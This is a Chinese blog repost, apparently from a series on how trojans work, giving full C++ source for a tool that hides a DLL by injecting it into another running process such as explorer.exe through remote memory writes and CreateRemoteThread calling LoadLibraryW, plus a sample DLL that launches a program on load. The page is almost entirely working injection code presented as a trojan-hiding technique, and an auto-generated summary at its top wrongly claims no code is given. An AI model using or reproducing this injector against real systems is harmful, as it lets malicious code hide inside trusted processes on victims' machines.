远程线程嵌入方式 实现DLL的隐藏--------转自ShotGun的大作《揭开木马的神秘面纱》四

博客直接展示代码,但未给出具体代码内容。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

闲话不说,看代码吧:

// RmtDLL.cpp : Defines the entry point for the console application.
//

#include 
"stdafx.h"
#include
<windows.h>
#include
<stdlib.h>
#include
<stdio.h>
#include 
"psapi.h"
//#include "PSAPI.H"
//#pragma comment( lib, "PSAPI.LIB" )


DWORD ProcessToPID( 
char *);            //将进程名转换为PID的函数
void  CheckError  ( intintchar *);        //出错处理函数
void  usage       ( char *);            //使用说明函数

PDWORD pdwThreadId; 
HANDLE hRemoteThread, hRemoteProcess;
DWORD  fdwCreate, dwStackSize, dwRemoteProcessId;
PWSTR  pszLibFileRemote
=NULL;

 


void main(int argc,char **argv)
{
    
int iReturnCode;
    
char lpDllFullPathName[MAX_PATH]; 
    WCHAR pszLibFileName[MAX_PATH]
={0};

    
//处理命令行参数
   


 
/*
 argv[0]="F:/TestTempProgramming/RmtDLL/Debug/RmtDLL.exe";
 argv[1]="explorer.exe";
 argv[2]="F:/TestTempProgramming/TestDLL/Debug/TestDLL.dll"; 
     
*/


  
if (argc!=3) usage("Parametes number incorrect!");
    
else
        
//如果输入的是进程名,则转化为PID
        if(isdigit(*argv[1])) dwRemoteProcessId = atoi(argv[1]);
        
else dwRemoteProcessId = ProcessToPID(argv[1]);
        
//判断输入的DLL文件名是否是绝对路径
       if(strstr(argv[2],":/")!=NULL)
         strncpy(lpDllFullPathName,argv[
2] , MAX_PATH);
  
        
else
        {    
//取得当前目录,将相对路径转换成绝对路径
            iReturnCode = GetCurrentDirectory(MAX_PATH, lpDllFullPathName);
            CheckError(iReturnCode, 
0"GetCurrentDirectory");
            strcat(lpDllFullPathName, 
"/");
            strcat(lpDllFullPathName, argv[
2]);
            printf(
"Convert DLL filename to FullPathName: %s ",
    lpDllFullPathName);
        }
        
//判断DLL文件是否存在
        iReturnCode=(int)_lopen(lpDllFullPathName, OF_READ);
  
//iReturnCode =0;
        CheckError(iReturnCode, HFILE_ERROR, "DLL File not Exist");
        
//将DLL文件全路径的ANSI码转换成UNICODE码
        iReturnCode = MultiByteToWideChar(CP_ACP, MB_ERR_INVALID_CHARS,
   lpDllFullPathName, strlen(lpDllFullPathName),pszLibFileName, MAX_PATH);
        CheckError(iReturnCode, 
0"MultByteToWideChar");
        
//输出最后的操作参数
        wprintf(L"Will inject %s", pszLibFileName);
        printf(
" into process:%s PID=%d ", argv[1], dwRemoteProcessId);   
 
    }

 
    
//打开远程进程
    hRemoteProcess = OpenProcess(PROCESS_CREATE_THREAD | //允许创建线程 
  PROCESS_VM_OPERATION | //允许VM操作
  PROCESS_VM_WRITE,       //允许VM写
  FALSE, dwRemoteProcessId );    
    CheckError( (
int) hRemoteProcess, NULL, 
  
"Remote Process not Exist or Access Denied!");
    
//计算DLL路径名需要的内存空间
    int cb = (1 + lstrlenW(pszLibFileName)) * sizeof(WCHAR);
    pszLibFileRemote 
= (PWSTR) VirtualAllocEx( hRemoteProcess, NULL, cb, 
  MEM_COMMIT, PAGE_READWRITE);
    CheckError((
int)pszLibFileRemote, NULL, "VirtualAllocEx");
    
//将DLL的路径名复制到远程进程的内存空间
    iReturnCode = WriteProcessMemory(hRemoteProcess, 
        pszLibFileRemote, (PVOID) pszLibFileName, cb, NULL);
    CheckError(iReturnCode, 
false"WriteProcessMemory");
    
//计算LoadLibraryW的入口地址
    PTHREAD_START_ROUTINE pfnStartAddr = (PTHREAD_START_ROUTINE)
        GetProcAddress(GetModuleHandle(TEXT(
"Kernel32")), "LoadLibraryW");
    CheckError((
int)pfnStartAddr, NULL, "GetProcAddress");
    
//启动远程线程,通过远程线程调用用户的DLL文件    
    hRemoteThread = CreateRemoteThread( hRemoteProcess, NULL, 0,  pfnStartAddr, pszLibFileRemote, 0, NULL);
    CheckError((
int)hRemoteThread, NULL, "Create Remote Thread");
    
//等待远程线程退出
    WaitForSingleObject(hRemoteThread, INFINITE);
    
//清场处理
    if (pszLibFileRemote != NULL)
        VirtualFreeEx(hRemoteProcess, pszLibFileRemote, 
0, MEM_RELEASE);
    
if (hRemoteThread != NULL) CloseHandle(hRemoteThread );
    
if (hRemoteProcess!= NULL) CloseHandle(hRemoteProcess);

}

//将进程名转换为PID的函数
DWORD ProcessToPID(char *InputProcessName)
{
    DWORD aProcesses[
1024], cbNeeded, cProcesses;
    unsigned 
int i;
    HANDLE hProcess;
    HMODULE hMod;
    
char szProcessName[MAX_PATH] = "UnknownProcess";

 

    
// 计算目前有多少进程, aProcesses[]用来存放有效的进程PIDs
    if ( !EnumProcesses( aProcesses, sizeof(aProcesses), &cbNeeded ) )  return 0;
    cProcesses 
= cbNeeded / sizeof(DWORD);
    
// 按有效的PID遍历所有的进程
    for ( i = 0; i < cProcesses; i++ ) 
    {
        
// 打开特定PID的进程
        hProcess = OpenProcess( PROCESS_QUERY_INFORMATION |
PROCESS_VM_READ,
                 FALSE, aProcesses[i]);
        
// 取得特定PID的进程名
        if ( hProcess )
        {
            
if ( EnumProcessModules( hProcess, &hMod, sizeof(hMod), &cbNeeded) )
            {
                GetModuleBaseName( hProcess, hMod, 
szProcessName, 
sizeof(szProcessName) );
                
//将取得的进程名与输入的进程名比较,如相同则返回进程PID
                if(!_stricmp(szProcessName, InputProcessName)){
                    CloseHandle( hProcess );
                    
return aProcesses[i];
                }
            }
        }
//end of if ( hProcess )
    }//end of for
    
//没有找到相应的进程名,返回0
    CloseHandle( hProcess );
    
return 0;
}
//end of ProcessToPID

//错误处理函数CheckError()
//如果iReturnCode等于iErrorCode,则输出pErrorMsg并退出
void CheckError(int iReturnCode, int iErrorCode, char *pErrorMsg)
{
    
if(iReturnCode==iErrorCode) {
        printf(
"%s Error:%d ", pErrorMsg, GetLastError());
        
//清场处理
        if (pszLibFileRemote != NULL)
            VirtualFreeEx(hRemoteProcess, pszLibFileRemote, 
0, MEM_RELEASE);
        
if (hRemoteThread != NULL) CloseHandle(hRemoteThread );
        
if (hRemoteProcess!= NULL) CloseHandle(hRemoteProcess);
        exit(
0);
    }
}
//end of CheckError()

 

//使用方法说明函数usage()
void usage(char * pErrorMsg)
{
    printf(
"%s ",pErrorMsg);
    printf(
" Remote Process DLL by Shotgun ");
    printf(
" This program can inject a DLL into remote process ");
    printf(
"Email: ");
    printf(
" Shotgun@Xici.Net ");
    printf(
"HomePage: ");
    printf(
" http://It.Xici.Net ");
    printf(
" http://www.Patching.Net ");
    printf(
"USAGE: ");
    printf(
" RmtDLL.exe PID[|ProcessName] DLLFullPathName ");
    printf(
"Example: ");
    printf(
" RmtDLL.exe 1024 C:/WINNT/System32/MyDLL.dll ");
    printf(
" RmtDLL.exe Explorer.exe C:/MyDLL.dll ");
    exit(
0);
}
//end of usage() 




/////////////附带“获得当前进程ID代码 ------> TestDLL.dll“和“启动进程代码”

// TestDLL.cpp : Defines the entry point for the DLL application.
//

#include 
"stdafx.h"
#include
<windows.h>
#include
<stdlib.h>
#include
<stdio.h>


BOOL APIENTRY DllMain( HANDLE hModule, DWORD reason, LPVOID lpReserved)
{
 
char szProcessId[64];
 
switch (reason)
 {
 
case (DLL_PROCESS_ATTACH):
  {    
   PROCESS_INFORMATION pi;
   STARTUPINFO si;
   memset(
&si,0,sizeof(si));
   si.cb
=sizeof(si);
   si.wShowWindow
=SW_SHOW;
   si.dwFlags
=STARTF_USESHOWWINDOW;
   
   
   
bool fRet=CreateProcess("E:/downLoad/vcfans/thread/thread/Release/ThreadDemo1.exe",
    NULL,NULL,FALSE,NULL,NULL,NULL,NULL,
&si,&pi);

   
if(fRet)
   {
    MessageBox(NULL,
"启动进程成功!","^_^",MB_OK);
   }
   
else
   {
    MessageBox(NULL,
"进程启动失败!","T_T",MB_OK);
   }
   
//获得当前进程ID
   _itoa(GetCurrentProcessId(),szProcessId,10);
   MessageBox(NULL,szProcessId,
"RemoteDLL",MB_OK);
  }
 
default:
  
return TRUE;
 }
}
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值